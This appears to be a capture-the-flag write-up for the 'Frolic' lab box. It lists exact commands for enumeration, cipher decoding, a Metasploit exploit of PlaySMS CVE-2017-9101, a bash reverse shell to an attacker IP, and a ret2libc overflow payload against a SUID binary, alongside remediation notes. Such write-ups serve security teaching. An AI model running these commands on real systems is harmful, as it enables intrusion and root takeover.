Frolic
Summary
I enumerated a web server and discovered an administrative panel secured only by client-side JavaScript. By decoding a multi-layer encoding puzzle embedded in the application — custom symbol cipher, hidden URL, [REDACTED: recovered credential] ZIP, hex, base64, and Brainfuck — I recovered valid credentials.
Those credentials authenticated to an outdated PlaySMS instance containing a known server-side code-injection flaw (CVE-2017-9101), which returned a shell as the web-server account. Privilege escalation was achieved by exploiting a stack buffer overflow in a custom SUID-flagged 32-bit binary, crafting a ret2libc payload that called system('/bin/sh') with root privileges.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -p22,139,445,1880,9999 -T4 -sV $TARGETExact commands 2
gobuster dir -u http://$TARGET:9999/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o gobuster_9999.txtcurl -s -o /dev/null -w '%{http_code}' http://$TARGET:9999/admin/FixRestrict administrative web interfaces to authorised source IPsHigh
Exact commands 5
curl -s http://$TARGET:9999/admin/js/login.js | grep -i 'admin\|pass'curl -s http://$TARGET:9999/admin/success.html -o success.htmlpython3 -c "s=open('success.html').read().strip(); m={'.?':'>','?.':'<','..':'+','!!':'-','!.':'.','.!':',','!?':'[','?!':']'}; print(''.join(m.get(s[i:i+2],'') for i in range(0,len(s)-1,2)))" > stage1.bfcurl -s http://$TARGET:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > frolic.zip && unzip -P [REDACTED: recovered credential] frolic.zippython3 -c "import base64; h=open('index.php').read().strip(); print(base64.b64decode(bytes.fromhex(h)).decode())" > stage2.bfFixImplement server-side authentication and remove credentials from client-accessible filesHigh
Exact commands 4
msfconsole -q -x "use exploit/multi/http/playsms_uploadcsv_exec; set RHOSTS $TARGET; set RPORT 9999; set TARGETURI /playsms/; set USERNAME admin; set PASSWORD [REDACTED: recovered credential]; set LHOST $ATTACKER_IP; set LPORT 4444; run"nc -lvnp 4445execute -f /bin/bash -a "-c 'bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1'"find /home -name user.txt -exec cat {} \;FixUpgrade or remove PlaySMS 1.4 (CVE-2017-9101)Critical
Exact commands 4
find / -perm -4000 -user root -type f 2>/dev/nullfile /home/ayush/.binary/ropdownload /home/ayush/.binary/rop /tmp/rop && download /lib/i386-linux-gnu/libc.so.6 /tmp/libc.so.6objdump -d /tmp/rop | grep -A 20 '<main>'FixRemove the SUID bit from insecure custom binaries and fix the underlying buffer overflowCritical
Exact commands 4
readelf -s /tmp/libc.so.6 | grep -w 'system\|exit'strings -a -t x /tmp/libc.so.6 | grep '/bin/sh'/home/ayush/.binary/rop "$(python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*52+struct.pack("<III",0xb7e53da0,0xb7e479d0,0xb7f74a0b))')"cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh |
| 139/tcp | netbios-ssn |
| 445/tcp | microsoft-ds |
| 1880/tcp | vsat-control |
| 9999/tcp | abyss |